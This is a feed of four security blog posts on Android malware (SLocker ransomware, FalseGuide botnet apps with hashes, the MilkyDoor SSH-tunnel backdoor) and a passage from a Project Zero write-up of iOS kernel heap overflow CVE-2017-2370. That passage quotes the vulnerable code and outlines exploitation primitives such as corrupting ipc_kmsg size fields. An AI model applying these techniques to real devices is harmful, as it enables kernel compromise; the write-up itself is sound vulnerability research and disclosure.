Mobile Menace Monday: Ransomware targets Tencent users

Early this April, an increase of infection rates by a variant of ransomware known as Android/Ransom.SLocker.fh was seen.

Ransomware targets Tencent users

An especially relevant trait of SLocker.fh is its use of Tenpay to send payment to the criminals. Tenpay is an integrated payment platform by Tencent — China’s largest Internet service portals. Thus, it is no surprise that SLocker.fh originates from China.

In order to pay, users must have a QQ ID to send payment; which is provided.  Since Tencent’s most popular platform is QQ Instant Messenger, the criminals are probably targeting these users the most.

Various iterations to fool users

Like many Android ransomware apps, SLocker.fh masquerades as various legitimate apps to fool users into accepting escalated rights. Users who accept the escalated rights will have their device forced to reboot.  After reboot, users will have their device locked with overlaying screen with instructions to pay.

Click to view slideshow.
Click to view slideshow.

Stay protected

Because Android ransomware is on the rise, users should be extra cautious. You can protect yourself by being cautious of giving superuser and/or device administrator rights to any app that asks for it. If the app looks shady like the two example above, this is especially true.

So you’re infected with ransomware

A good anti-malware scanner like Malwarebytes Anti-Malware Mobile can remove the ransomware, but only BEFORE escalated rights are granted. Afterward, it becomes a bit harder. For how to remove such infections, refer to blog post “Difficulty removing Koler Trojan or other ransomware on Android?

As always, stay safe out there.

The post Mobile Menace Monday: Ransomware targets Tencent users appeared first on Malwarebytes Labs.

from Malwarebytes Labs http://ift.tt/2qMDbET

FalseGuide misleads users on GooglePlay

Is someone trying to build a botnet on Google Play?

Check Point mobile threat researchers detected a new strain of malware on Google Play, Google’s official app store. The malware, dubbed “FalseGuide,” was hidden in more than 40 guide apps for games, the oldest of which was uploaded to Google Play on February 14, 2017. Several of the apps managed to reach more than 50,000 installs, and the total number of infected devices is estimated to reach up to 600,000 devices. Check Point notified Google about the malware, and it was swiftly removed from the app store. At the beginning of April, two new malicious apps were uploaded to Google Play containing this malware, and Check Point notified Google once again.

Similar to previous malware found on Google Play, such as Viking Horde and DressCode,

FalseGuide creates a silent botnet out of the infected devices for adware purposes. A botnet is a group of devices controlled by hackers without the knowledge of their owners. The bots are used for various reasons based on the distributed computing capabilities of all the devices.

FalseGuide requests an unusual permission on installation – device admin permission. The malware uses the admin permission to avoid being deleted by the user, an action which normally suggests a malicious intention. The malware then registers itself to a Firebase Cloud Messaging topic which has the same name as the app. Once subscribed to the topic, FalseGuide can receive messages containing links to additional modules and download them to the infected device. After a long wait, we were able to receive such a module and determine that the botnet is used to display illegitimate pop-up ads out of context, using a background service that starts running once the device is booted. Depending on the attackers’ objectives, these modules can contain highly malicious code intended to root the device, conduct a DDoS attack, or even penetrate private networks.

FalseGuide masquerades as guiding apps for games for two major reasons. First, guiding apps are very popular, monetizing on the success of the original gaming apps. Second, guiding apps require very little development and feature implementation. For malware developers this is a good way to reach a widespread audience with minimal effort. The malicious apps were submitted under the names of two fake developers – Sergei Vernik and Nikolai Zalupkin, suggesting a Russian connection, while the second is clearly (to a Russian speaker) a made up name.

Mobile botnets are a growing trend since early last year, growing in both sophistication and reach. This type of malware manages to infiltrate Google Play due to the non-malicious nature of the first component, which only downloads the actual harmful code. Users shouldn’t rely on the app stores for their protection, and implement additional security measures on their mobile device, just as they use similar solutions on their PCs.

Appendix 1 – list of malicious apps found on Google Play

Package name App name Date Min Max
free.oosapp.infofifamobile Guide or FIFA Mobile 21.2.17 50000 100000
info.artapp.guidelegonexoknights Guide for LEGO Nexo Knights 15.2.17 10000 50000
free.oosapp.inforollingsky Guide for Rolling sky 20.2.17 5000 10000
info.artapp.guidelegocitymycity Guide for LEGO City My City 14.2.17 10000 50000
free.oosapp.infoterraria Guide for Terraria 20.2.17 10000 50000
free.oosapp.infoworldoftanksblitz Справочник для World of Tanks 20.2.17
info.artapp.guidezombietsunami Руководство для Zombie Tsunami 15.2.17
info.artapp.guidedriftzone Руководство для Drift Zone 2 22.2.17 1 5
info.artapp.guidemobilelegendsbangbang Руководство для Mobile Legends 22.2.17 1 5
info.artapp.guideinjusticegodsamongus Руководство для Injustice Gods 22.2.17 1 5
info.artapp.guideninjagoshadowofronin Руководство для Injustice Gods 22.2.17 1 5
info.artapp.guideasphaltairborne Руководство для Asphalt 8 22.2.17 1 5
free.oosapp.infocriminalcase Справочник для Criminal Case 21.2.17 1 5
free.oosapp.infonbalivemobile Справочник для NBA LIVE Mobile 21.2.17 1 5
free.oosapp.infohayday Справочник для NBA LIVE Mobile 21.2.17 1 5
free.oosapp.infosubwaysurfers Справочник для Subway Surfers 21.2.17 1 5
free.oosapp.infozombietsunami Справочник для Zombie Tsunami 21.2.17 1 5
free.oosapp.infogtasanandreas Справочник для Zombie Tsunami 20.2.17 1 5
info.artapp.guideterraria Руководство для Terraria 18.2.17 1 5
info.artapp.guidehayday Руководство для Hay Day 18.2.17 5 10
info.artapp.guideworldoftanksblitz Руководство для World of Tanks 18.2.17 1 5
mobi.guide.pokemon.go.pro Guide for Pokemon GO 1.3.17 50000 100000
guide.tipsamazingspiderman.infopro Guide Amazing Spider-Man 2 2.3.17 1000 5000
mobi.proguide.lego.marvel.superhero ProGuide LEGO Marvel Superhero 1.3.17 1000 5000
guide.tipsdreamleaguesoccer.infopro Guide Dream League Soccer 2.3.17 10000 50000
mobi.leguide.lego.city.under.cover.pro LEGUIDE LEGO City Undercover 27.2.17 10000 50000
mobi.guide.fnaf2.pro Руководство для FNAF 2 1.3.17 1 5
mobi.guide.roblox.pro Руководство для Roblox 1.3.17 1 5
guide.tipsfnaftwo.infopro Guide For FNAF 2 8.3.17 1000 5000
guide.tipsgreattheautovipcity.infopro Инструцкция The Auto Vip City 3.3.17 1 5
mobi.tips.superr.mario.pro Руководство для Super Mario 28.2.17
mobi.great.the.auto4.pro Руководство Great The Auto 4 28.2.17
mobi.guide.cadillacs.pro Руководство для Cadillacs 1.3.17
mobi.guide.amazing.spider.man2.pro Руководство для Spider-Man 2 28.2.17
guide.tipssupermario.infopro Инструкция к Super Mario 2.3.17
guide.tipslegofriends.infopro Интсрукция к LEGO Friends 3.3.17 1 5
guide.tipsgreattheautofive.infopro Инструкция к Great The Auto 5 2.3.17 1 5
guide.tipsgreattheautofour.infopro Инструкция к Great The Auto 4 8.3.17 1 5
guide.tipscadillacs.infopro Guide for Cadillacs 3.3.17 5000 10000
guide.tipsroblox.infopro Guide for Roblox 3.3.17 10 50
mobi.guide.dream.league.soccer.pro Руководство для League Soccer 28.2.17 1 5
mobi.leguide.lego.city.mycity.pro LEGUIDE LEGO City My City 27.2.17 5000 10000
com.megaguide.rollingsky.tricks Guide for Rolling Sky 11.4.17 500 1000
com.megaguide.legoninjagotournament.tricks Guide for Ninjago Tournament 6.4.17 50000 100000
 Total   218535 596160

 

 

Appendix 2 – list of SHA256 hashes:

4b1d653c0330e16cae67fb95e070190e72a767740511913b19603be91f8f4f85

f151302d56d8bd0c7882d8931baaf60a5f460e83f927ffcda3001d9e65ab7f56

87a706e6304213002df99b186528fced7ec5e0d4dfa096195b3fa1dae01de9de

8aa0ae3f4ca5c54e4f284928e987522597ee26e2dc1bfed5ec84725b03970987

e3f0cad8b8c6f91f797e2e9b54d3acfb5cee520f7f3a04a6e3c9094e3147b10a

133b47b6677d6a692dd7105af89a9782bc75f5fe8d9889a7265ae887ac3d4d03

76e20d5965b76be1fa5bd76917beeef3f02e183fc0ae475108f7250699f6d59d

8a9133039c1826c78a0b87142e8daa391179424d42705fc55d23d4ccbc01c816

ca84e6c2d963261875633f9e8ede0c20e00750a6b2c8315c667e9a36077d36f7

2cbe420fd2ce4385335ba2d588b4ff1da7e978b96ab4c6c55b7ab0916e9d0a07

6ceed33069104c2d10aebcbf14efd6ef629fee5e2c760478aafa80fa5e61ed47

12c3ae90a8b319b486e595b5ee2f5169f3997ca7811454e6ed9dc044b4c27341

4e9b5e87c9c07791b87bad25748c36a760ecf9b3ea2bd95df3a786c0b16bea0e

8ea8a4ef5e8fed2243e3023cbd5cbf457b61a60cffcaf14ea7b99d4c417d62fd

0a83d9eeeb65c250b422b24ca34eb4738b76803445be480a4d6c9294a637b3be

e9f822bb49223b4d148bf6c1066b815b32143379582e00a8155635e94c569e66

5c02cf78b29de064fb53e80bd4b4fc90b7cbe50766e6b2b16cbbb7aa32969063

8129004c726241829affc579310e3e72076b8f04182ec3c8ac6724b341ad1eb3

2343c1997e321eb96ce8f8a813fccaeb4f6ccddb37b86a7142ba481a6780f6b7

a4c24527c3eb58246b44181e194a454379b15874ee2f0c5d25d279bb04eb0e33

6dad2db7a0efac5c93bd57a70cac4a2978728f9a59f3c225de832783f6aa6fe1

75b54cafdc51283c0674d0081f485ef206c8336f76f4fa9b822b06faeae4962d

039449bb66958b9559531f65ecd859b186950448a8a8cc7d283ba891a516d5dc

73d1bfc8221ee9a89f9a6c8ec0353458a4c034f090ddbf36144a1a117df6fdf3

e70b9d79975ab12aede41a58a251b645899a70800cfef7c89e87a1231760ec3e

be65b2513c03ee65c386e1a899eba77aa08f2c312de97f381a906bec2ea731ee

83834187b47a212ec42d7d93c9036d93ca223fc96d8ab8be5c98a5c2d372449f

93b367892d33d0757efedc1edac43b97a7bf453ec6e631ffe9229a70dacb469d

b6aca219f4903ef09f047968895898df8844276a6847b11d0f5b03f2ef94bbf8

dab6e89b5c75cf2e2ce4a6fc6c11024a669a2c0979970f7fa9e787858f6e1033

3cb3442bffd5704be5d5ff271d104cdb3936e5f1e54edaa840b7eae85d830934

8b528d10ab443f95636fe58fe3a5c2911b98d8286bf4578ebdcba0c339110f92

e7233b8cf97cdcfdbcd5c994fd4c4e2b80e7031858ba1b05ed41e55b1ada557c

5537106f6e5d76ba80d0e8793d99144dda4413c168e45c3bf1c5e3728865314f

984f34d1a7a61b78d2809ba6b2f391c26aab0fb5883a9ec3aa18ac7987196bb8

175e0c5f25a4c0bcba936348354addbcf4feab5c189665b7b332acadad274463

b9e167a93ef1506b0a341ae7940fd7a363a0b34847a1eb8b68955789a75b6a9c

8fbe503d44bb5a938b5b9b85b338b11139342fed5f4e35e45a2d895e10f9cb51

080f4e69d9e8da4b1a673fc30a32483643130d72f80473719984d9123df22fcb

226b2cbce72567ba0e2dcfbfab87f7d35a39950322dfc5a0037d897c06526782

db3e355392e06d1770402e1713f7e41f9642f5b03d11a0e11a39a3d9be5ccbf5

7d9c48d3961ba57a551e302cee4126ceebcd3319e50ebf2869a116831e803301

0948f2dac2bc616385ac7c15af0e6a3b777c424ef349c7a4f6685483eab4c0d0

4f8f4bfdf7716e5ee3566901d5b9456daacaa1e72e236e5927c20cc81da260f3

d41510fc320a1637846fca9d8ba28b2cd6a320e152a79f4f42a49da1b17f8e1b

2bb64a0c7b129f7ab41d9388d2de851fb966026163e66877b31eb9e6ca891243

a833115f0a3a06283055dd07e7a0cb0d6ca87984018d61f7717b09b6aa4009a1

f71f2f561d28d9c90a33e022b6816c647982f6e2f15cd1cf3df7fd92605e7afc

40c4e832440bc978088b197ce886c21778e5cc2bd502ffc8c1cf6832d4906f76

72e49f1401ea5f57cc355a47d6bc5985f31595b1a7864aa3f20ed9638ab154e6

46bef91b6a312e932481da20ba0d8261fc1cff3588a98efb95ffd05ad274e673

4c86dddd2cbdd948e204a4bead9cde309e60ce253b92f905c10a3c592a033a10

0aa28c3a8d5a46d273c8f02ab67bc29a3792e4cced366767ff576067b1d06d0c

47d5d9ceedc848c7a62281ceea5f04177d0bfbc1bf9a0a22167e0b92cc32b711

6fe4f5d59c431211b9feb7986deabd926ae447382a3983139d0db98b2c289104

7fc6379f6dbf9386038b8f4f8881884a1f2071316123870310bf6132ccb9b53c

68aa3991e6a46cc106dacf2a6d41ac7ef3ee72e9ae181cfb4ed67121b1c702a7

22bc82838dc8d868c21689a3668df643f5a5f3e68005007de359354f4c1cda58

a28f4416e143ea15af8d142c89e93649cec5d4ef64ec2fca4e6507f1d432401a

e60b4d46baa95a4841926263b47d0b3042763285656dc0d90e362b54d724c70f

16d9a771f814a83132125462b9d1d2c7f913641d1f9a7bd23a6a40bbb83f8ef2

be316ee4a682ca1f284a03e1545617c83638b0d8da999f3046cb256e55e7705d

36d9eecba9968487d5bcb858848db2ba80f47fd46262570f48de39bf777cdd2d

24c56e9423208cf43fb3185973e184b5922768a7ed42b0355b744591b66cb748

07dcb523c3b0778e44b5c6ddaa8393cb2dbeed9492365b5a39422ccc811989c7

d8294d92e89a74e19b9fc2ce4f8afee7b62df189f0ac03e3fb8f175b073a2961

aad7caf701a2f73430a30f73f5d85950ab2162b618f7435d2c45fca5f068348d

c9d1631cffe08ae9f12ca47b038d6ba72ca40d44c8854736f304f992d317b7af

90ae699af2b913ec147b38d73a9da053385c80bedecf77ffe337aea66b7a4cea

95a7b5db9d9e59dbb5ea8912e506949a9d42bc3f6e687d1317dd3ef85e573bf3

3193a4ad4e13633cb488432c403f1ceb46a6b6a8b94642f8815ea9f94d2ec6eb

7afd6ab6a9cb6166bdae0944ed7ba0042a1dd77aa1ab20234601c50e9d27411f

 

The post FalseGuide misleads users on GooglePlay appeared first on Check Point Blog.

from Check Point Blog http://ift.tt/2pZocYy

DressCode Android Malware Finds Apparent Successor in MilkyDoor

By Echo Duan and Jason Gu (Mobile Threat Response Engineers)

Mobile malware’s disruptive impact on enterprises continues to see an uptick in prevalence as mobile devices become an increasingly preferred platform to flexibly access and manage data. We recently found 200 unique Android apps—one of which had installs ranging between 500,000 and a million on Google Play—embedded with a backdoor: MilkyDoor (detected by Trend Micro as ANDROIDOS_MILKYDOOR.A).

MilkyDoor is similar to DressCode (ANDROIDOS_SOCKSBOT.A)—an Android malware family that adversely affected enterprises—given that both employ a proxy using Socket Secure (SOCKS) protocol to gain a foothold into internal networks that infected mobile devices connect to. MilkyDoor, maybe inadvertently, provides attackers a way to conduct reconnaissance and access an enterprise’s vulnerable services by setting the SOCKS proxies. Further, this is carried out without the user’s knowledge or consent.

While MilkyDoor appears to be DressCode’s successor, MilkyDoor adds a few malicious tricks of its own. Among them are its more clandestine routines that enable it to bypass security restrictions and conceal its malicious activities within normal network traffic. It does so by using remote port forwarding via Secure Shell (SSH) tunnel through the commonly used Port 22. The abuse of SSH helps the malware encrypt malicious traffic and payloads, which makes detection of the malware trickier.

We found these Trojanized apps masquerading as recreational applications ranging from style guides and books for children to Doodle applications. We surmise that these are legitimate apps which cybercriminals repackaged and Trojanized then republished in Google Play, banking on their popularity to draw victims.

Impact to Enterprises

MilkyDoor poses greater risk to businesses due to how it’s coded to attack an enterprise’s internal networks, private servers, and ultimately, corporate assets and data. The way MilkyDoor builds an SSH tunnel presents security challenges for an organization’s network, particularly in networks that integrate BYOD devices. Its stealth lies in how the infected apps themselves don’t have sensitive permissions and consequently exist within the device using regular or seemingly benign communication behavior.

The repercussions are also significant. MilkyDoor can covertly grant attackers direct access to a variety of an enterprise’s services—from web and FTP to SMTP in the internal network. The access can then be leveraged to poll internal IP addresses in order to scan for available—and vulnerable—servers. The recent spate of compromises in MongoDB and ElasticSearch databases, where their owners were also extorted, are a case in point. The servers were public, which is exacerbated by the lack of authentication mechanisms in its internal databases.


Figure 1: A sample MilkyDoor-carrying app in Google Play


Figure 2: According to the app’s Google Play page, its number of installations already reached between 500,000 and 1,000,000.

A Better Version of DressCode?

The malicious code runs a process called android.process.s, disguised as an Android system package in order to draw attention away from it when running. Upon the Trojanized app’s installation, MilkyDoor requests a third-party server, which we’ve tracked as freegeoip[.]net, to obtain the device’s local IP address, including the country, city, and its coordinates (longitude/latitude). It then uploads information to its command and control (C&C) server, which replies with data in JavaScript Object Notation (JSON) format that contains an SSH server’s user, password, and host. The malware’s operators leverages Java Secure Channel (JSch), a common library that is a pure Java implementation of SSH2, to establish the SSH tunnel between the infected device and the attacker.


Figure 3: The structure of the malicious code


Figure 4: Running a process alone in AndroidManifest.xml

To use its port forwarding feature, MilkyDoor smuggles various types of Internet traffic into or out of a network. This can be employed to avoid network monitoring or sniffers, or even bypass firewalls on the Internet. In this case, the attacker’s server, as an SSH server, lets the infected apps connect while the server also listens to local ports. Through this tunnel, all traffic traversing this port will then be forwarded to the client host’s internal network.

DressCode was noted for building a proxy using the Socket Secure (SOCKS) protocol on Android devices in order to access internal networks. MilkyDoor leverages the SOCKS protocol and remote port forwarding via SSH to achieve dynamic port forwarding, which in turn allows data to traverse to all remote destinations and ports. Because the SSH tunnel uses Port 22, firewalls usually do not block traffic that go through this port; this enables data encryption of payloads transmitted over a network connection. In a nutshell, MilkyDoor’s routines resemble anonymizing and Internet censorship-bypassing services.



Figure 5: Code snapshots showing how MilkyDoor collects local IP details


Figure 6: MilkyDoor leveraging JSch library to carry out port forwarding through SSH tunnel


Figure 7: Infected mobile devices allow attackers to bypass firewall to breach internal servers

Retracing the MilkyDoor(s)

In-depth analysis of the malicious code within the software development kit (SDK) integrated in the apps indicate they were updated versions (1.0.6). Tracing the malware and the SDK revealed that they were distributed as early as August 2016. The earlier iterations were adware integrators, with the backdoor capabilities added in version 1.0.3.

Our research into MilkyDoor also pointed us to a traffic arbitrage service being advertised in a Russian bulletin board system (BBS). We construe that the SSH tunnel MilkyDoor builds is also used to create fake traffic and perpetrate click fraud to generate more revenue for the attackers. Delving further into one of the MilkyDoor-infected apps, we saw that the certificate used is linked to a high-profile cyberespionage/information theft campaign.

So how does it stack up to DressCode? While MilkyDoor’s backdoor capabilities—and the security risks entailed—can be deemed at par with DressCode’s, MilkyDoor’s techniques and routines reflect the apparent complexity its developers are inclined to utilize. Its way of blending in with normal network traffic (via dynamic port forwarding) to better hide its malicious activities, and the use of SSH tunnel to enable the encryption of payloads are just some of its notable highlights.

Mitigation

As mobile threats continue to diversify and mount up in scale and scope, businesses and end users must reinforce their security posture against threats like MilkyDoor. End users are recommended to be more prudent in terms of securing their mobile devices, especially if they are used to connect, access, and manage corporate networks and assets.

DressCode and MilkyDoor build a proxy using the SOCKS protocol on Android devices in order to access internal networks. The compromised device had to connect to an external port to get commands from the attacker’s command and control (C&C) server before the proxy is created. For BYOD devices, enterprises can deploy firewalls to help restrict, if not prevent, internal systems from accessing uncommonly used external ports—one of the key techniques employed by these kinds of threats.

Among the best practices mobile users can adopt include taking caution against suspicious apps, and keeping the device’s Operating System (OS) up-to-date. Android patches and updates are fragmented, however, so users should contact their device’s Original Equipment Manufacturer (OEM) for their availability. Organizations that adopt Bring Your Own Device (BYOD) programs in the workplace must maintain a balance between productivity, flexibility, privacy, and security. For IT and system administrators, a robust patch management process and better system restrictions/permissions policies can help improve security for BYOD devices.

Trend Micro Solutions

End users and enterprises can also benefit from multilayered mobile security solutions such as Trend MicroMobile Security for Android™ which is also available on Google Play. Trend MicroMobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.

We have disclosed our findings to Google and worked with them to take down the malicious apps on Google Play. A list of Indicators of Compromise (IoCs) comprising related hashes (SHA256) and C&C communication can be found in this appendix.

Updated as of April 23, 2017, 11:40PM, UTC-7:
We updated the first paragraph to indicate only one app had installs between 500,000 and one million.

Post from: Trendlabs Security Intelligence Blog – by Trend Micro

DressCode Android Malware Finds Apparent Successor in MilkyDoor

from TrendLabs | Malware Blog – by Trend Micro http://ift.tt/2pHYGEe

Exception-oriented exploitation on iOS

Posted by Ian Beer, Project Zero

This post covers the discovery and exploitation of CVE-2017-2370, a heap buffer overflow in the mach_voucher_extract_attr_recipe_trap mach trap. It covers the bug, the development of an exploitation technique which involves repeatedly and deliberately crashing and how to build live kernel introspection features using old kernel exploits.

It’s a trap!
Alongside a large number of BSD syscalls (like ioctl, mmap, execve and so on) XNU also has a small number of extra syscalls supporting the MACH side of the kernel called mach traps. Mach trap syscall numbers start at 0x1000000. Here’s a snippet from the syscall_sw.c file where the trap table is defined:

/* 12 */ MACH_TRAP(_kernelrpc_mach_vm_deallocate_trap, 3, 5, munge_wll),
/* 13 */ MACH_TRAP(kern_invalid, 0, 0, NULL),
/* 14 */ MACH_TRAP(_kernelrpc_mach_vm_protect_trap, 5, 7, munge_wllww),

Most of the mach traps are fast-paths for kernel APIs that are also exposed via the standard MACH MIG kernel apis. For example mach_vm_allocate is also a MIG RPC which can be called on a task port.

Mach traps provide a faster interface to these kernel functions by avoiding the serialization and deserialization overheads involved in calling kernel MIG APIs. But without that autogenerated code complex mach traps often have to do lots of manual argument parsing which is tricky to get right.

In iOS 10 a new entry appeared in the mach_traps table:

/* 72 */ MACH_TRAP(mach_voucher_extract_attr_recipe_trap, 4, 4, munge_wwww),

The mach trap entry code will pack the arguments passed to that trap by userspace into this structure:

 struct mach_voucher_extract_attr_recipe_args {
   PAD_ARG_(mach_port_name_t, voucher_name);
   PAD_ARG_(mach_voucher_attr_key_t, key);
   PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
   PAD_ARG_(user_addr_t, recipe_size);
 };

A pointer to that structure will then be passed to the trap implementation as the first argument. It’s worth noting at this point that adding a new syscall like this means it can be called from every sandboxed process on the system. Up until you reach a mandatory access control hook (and there are none here) the sandbox provides no protection.

Let’s walk through the trap code:

kern_return_t
mach_voucher_extract_attr_recipe_trap(
 struct mach_voucher_extract_attr_recipe_args *args)
{
 ipc_voucher_t voucher = IV_NULL;
 kern_return_t kr = KERN_SUCCESS;
 mach_msg_type_number_t sz = 0;

 if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))
   return KERN_MEMORY_ERROR;

copyin has similar semantics to copy_from_user on Linux. This copies 4 bytes from the userspace pointer args->recipe_size to the sz variable on the kernel stack, ensuring that the whole source range really is in userspace and returning an error code if the source range either wasn’t completely mapped or pointed to kernel memory. The attacker now controls sz.

 if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
   return MIG_ARRAY_TOO_LARGE;

mach_msg_type_number_t is a 32-bit unsigned type so sz has to be less than or equal to MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) to continue.

 voucher = convert_port_name_to_voucher(args->voucher_name);
 if (voucher == IV_NULL)
   return MACH_SEND_INVALID_DEST;

convert_port_name_to_voucher looks up the args->voucher_name mach port name in the calling task’s mach port namespace and checks whether it names an ipc_voucher object, returning a reference to the voucher if it does. So we need to provide a valid voucher port as voucher_name to continue past here.

 if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
   /* keep small recipes on the stack for speed */
   uint8_t krecipe[sz];
   if (copyin(args->recipe, (void *)krecipe, sz)) {
     kr = KERN_MEMORY_ERROR;
       goto done;
   }
   kr = mach_voucher_extract_attr_recipe(voucher,
            args->key, (mach_voucher_attr_raw_recipe_t)krecipe, &sz);

   if (kr == KERN_SUCCESS && sz > 0)
     kr = copyout(krecipe, (void *)args->recipe, sz);
 }

If sz was less than MACH_VOUCHER_TRAP_STACK_LIMIT (256) then this allocates a small variable-length-array on the kernel stack and copies in sz bytes from the userspace pointer in args->recipe to that VLA. The code then calls the target mach_voucher_extract_attr_recipe method before calling copyout (which takes its kernel and userspace arguments the other way round to copyin) to copy the results back to userspace. All looks okay, so let’s take a look at what happens if sz was too big to let the recipe be “kept on the stack for speed”:

 else {
   uint8_t *krecipe = kalloc((vm_size_t)sz);
   if (!krecipe) {
     kr = KERN_RESOURCE_SHORTAGE;
     goto done;
   }

   if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
     kfree(krecipe, (vm_size_t)sz);
     kr = KERN_MEMORY_ERROR;
     goto done;
   }

The code continues on but let’s stop here and look really carefully at that snippet. It calls kalloc to make an sz-byte sized allocation on the kernel heap and assigns the address of that allocation to krecipe. It then calls copyin to copy args->recipe_size bytes from the args->recipe userspace pointer to the krecipe kernel heap buffer.

If you didn’t spot the bug yet, go back up to the start of the code snippets and read through them again. This is a case of a bug that’s so completely wrong that at first glance it actually looks correct!

To explain the bug it’s worth donning our detective hat and trying to work out what happened to cause such code to be written. This is just conjecture but I think it’s quite plausible.

a recipe for copypasta
Right above the mach_voucher_extract_attr_recipe_trap method in mach_kernelrpc.c there’s the code for host_create_mach_voucher_trap, another mach trap.

These two functions look very similar. They both have a branch for a small and large input size, with the same /* keep small recipes on the stack for speed */ comment in the small path and they both make a kernel heap allocation in the large path.

It’s pretty clear that the code for mach_voucher_extract_attr_recipe_trap has been copy-pasted from host_create_mach_voucher_trap then updated to reflect the subtle difference in their prototypes. That difference is that the size argument to host_create_mach_voucher_trap is an integer but the size argument to mach_voucher_extract_attr_recipe_trap is a pointer to an integer.

This means that mach_voucher_extract_attr_recipe_trap requires an extra level of indirection; it first needs to copyin the size before it can use it. Even more confusingly the size argument in the original function was called recipes_size and in the newer function it’s called recipe_size (one fewer ‘s’.)

Here’s the relevant code from the two functions, the first snippet is fine and the second has the bug:

host_create_mach_voucher_trap:

if (copyin(args->recipes, (void *)krecipes, args->recipes_size)) {
 kfree(krecipes, (vm_size_t)args->recipes_size);
 kr = KERN_MEMORY_ERROR;
 goto done;
}

mach_voucher_extract_attr_recipe_trap:

 if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
   kfree(krecipe, (vm_size_t)sz);
   kr = KERN_MEMORY_ERROR;
   goto done;
 }

My guess is that the developer copy-pasted the code for the entire function then tried to add the extra level of indirection but forgot to change the third argument to the copyin call shown above. They built XNU and looked at the compiler error messages. XNU builds with clang, which gives you fancy error messages like this:

error: no member named ‘recipes_size’ in ‘struct mach_voucher_extract_attr_recipe_args’; did you mean ‘recipe_size’?
if (copyin(args->recipes, (void *)krecipes, args->recipes_size)) {
                                                 ^~~~~~~~~~~~
                                                 recipe_size

Clang assumes that the developer has made a typo and typed an extra ‘s’. Clang doesn’t realize that its suggestion is semantically totally wrong and will introduce a critical memory corruption issue. I think that the developer took clang’s suggestion, removed the ‘s’, rebuilt and the code compiled without errors.

Building primitives
copyin on iOS will fail if the size argument is greater than 0x4000000. Since recipes_size also needs to be a valid userspace pointer this means we have to be able to map an address that low. From a 64-bit iOS app we can do this by giving the pagezero_size linker option a small value. We can completely control the size of the copy by ensuring that our data is aligned right up to the end of a page and then unmapping the page after it. copyin will fault when the copy reaches unmapped source page and stop.

If the copyin fails the kalloced buffer will be immediately freed.

Putting all the bits together we can make a kalloc heap allocation of between 256 and 5120 bytes and overflow out of it as much as we want with completely controlled data.

When I’m working on a new exploit I spend a lot of time looking for new primitives; for example objects  allocated on the heap which if I could overflow into it I could cause a chain of interesting things to happen. Generally interesting means if I corrupt it I can use it to build a better primitive. Usually my end goal is to chain these primitives to get an arbitrary, repeatable and reliable memory read/write.

To this end one style of object I’m always on the lookout for is something that contains a length or size field which can be corrupted without having to fully corrupt any pointers. This is usually an interesting target and warrants further investigation.

For anyone who has ever written a browser exploit this will be a familiar construct!

ipc_kmsg
Reading through the XNU code for interesting looking primitives I came across struct ipc_kmsg:

struct ipc_kmsg {
 mach_msg_size_t            ikm_size;
 struct ipc_kmsg            *ikm_next;
 struct ipc_kmsg            *ikm_prev;
 mach_msg_header_t          *ikm_header;
 ipc_port_t                 ikm_prealloc;
 ipc_port_t                 ikm_voucher;
 mach_msg_priority_t        ikm_qos;
 mach_msg_priority_t        ikm_qos_override
 struct ipc_importance_elem *ikm_importance;
 queue_chain_t              ikm_inheritance;
};

This is a structure which has a size field that can be corrupted without needing to know any pointer values. How is the ikm_size field used?

Looking for cross references to ikm_size in the code we can see it’s only used in a handful of places:

void ipc_kmsg_free(ipc_kmsg_t kmsg);

This function uses kmsg->ikm_size to free the kmsg back to the correct kalloc zone. The zone allocator will detect frees to the wrong zone and panic so we’ll have to be careful that we don’t free a corrupted ipc_kmsg without first fixing up the size.

This macro is used to set the ikm_size field:

#define ikm_init(kmsg, size)  \
MACRO_BEGIN                   \
(kmsg)->ikm_size = (size);   \

This macro uses the ikm_size field to set the ikm_header pointer:

#define ikm_set_header(kmsg, mtsize)                       \
MACRO_BEGIN                                                \
(kmsg)->ikm_header = (mach_msg_header_t *)                 \
((vm_offset_t)((kmsg) + 1) + (kmsg)->ikm_size – (mtsize)); \
MACRO_END

That macro is using the ikm_size field to set the ikm_header field such that the message is aligned to the end of the buffer; this could be interesting.

Finally there’s a check in ipc_kmsg_get_from_kernel:

 if (msg_and_trailer_size > kmsg->ikm_size – max_desc) {
   ip_unlock(dest_port);
   return MACH_SEND_TOO_LARGE;
 }

That’s using the ikm_size field to ensure that there’s enough space in the ikm_kmsg buffer for a message.

It looks like if we corrupt the ikm_size field we’ll be able to make the kernel believe that a message buffer is bigger than it really is which will almost certainly lead to message contents being written out of bounds. But haven’t we just turned a kernel heap overflow into… another kernel heap overflow? The difference this time is that a corrupted ipc_kmsg might also let me read memory out of bounds. This is why corrupting the ikm_size field could be an interesting thing to investigate.

It’s about sending a message
ikm_kmsg structures are used to hold in-transit mach messages. When userspace sends a mach message we end up in ipc_kmsg_alloc. If the message is small (less than IKM_SAVED_MSG_SIZE) then the code will first look in a cpu-local cache for recently freed ikm_kmsg structures. If none are found it will allocate a new cacheable message from the dedicated ipc.kmsg zalloc zone.

Larger messages bypass this cache are are directly allocated by kalloc, the general purpose kernel heap allocator. After allocating the buffer the structure is immediately initialized using the two macros we saw:

 kmsg = (ipc_kmsg_t)kalloc(ikm_plus_overhead(max_expanded_size));
…  
 if (kmsg != IKM_NULL) {
   ikm_init(kmsg, max_expanded_size);
   ikm_set_header(kmsg, msg_and_trailer_size);
 }

 return(kmsg);

Unless we’re able to corrupt the ikm_size field in between those two macros the most we’d be able to do is cause the message to be freed to the wrong zone and immediately panic. Not so useful.

But ikm_set_header is called in one other place: ipc_kmsg_get_from_kernel.

This function is only used when the kernel sends a real mach message; it’s not used for sending replies to kernel MIG apis for example. The function’s comment explains more:

* Routine: ipc_kmsg_get_from_kernel
* Purpose:
* First checks for a preallocated message
* reserved for kernel clients.  If not found –
* allocates a new kernel message buffer.
* Copies a kernel message to the message buffer.

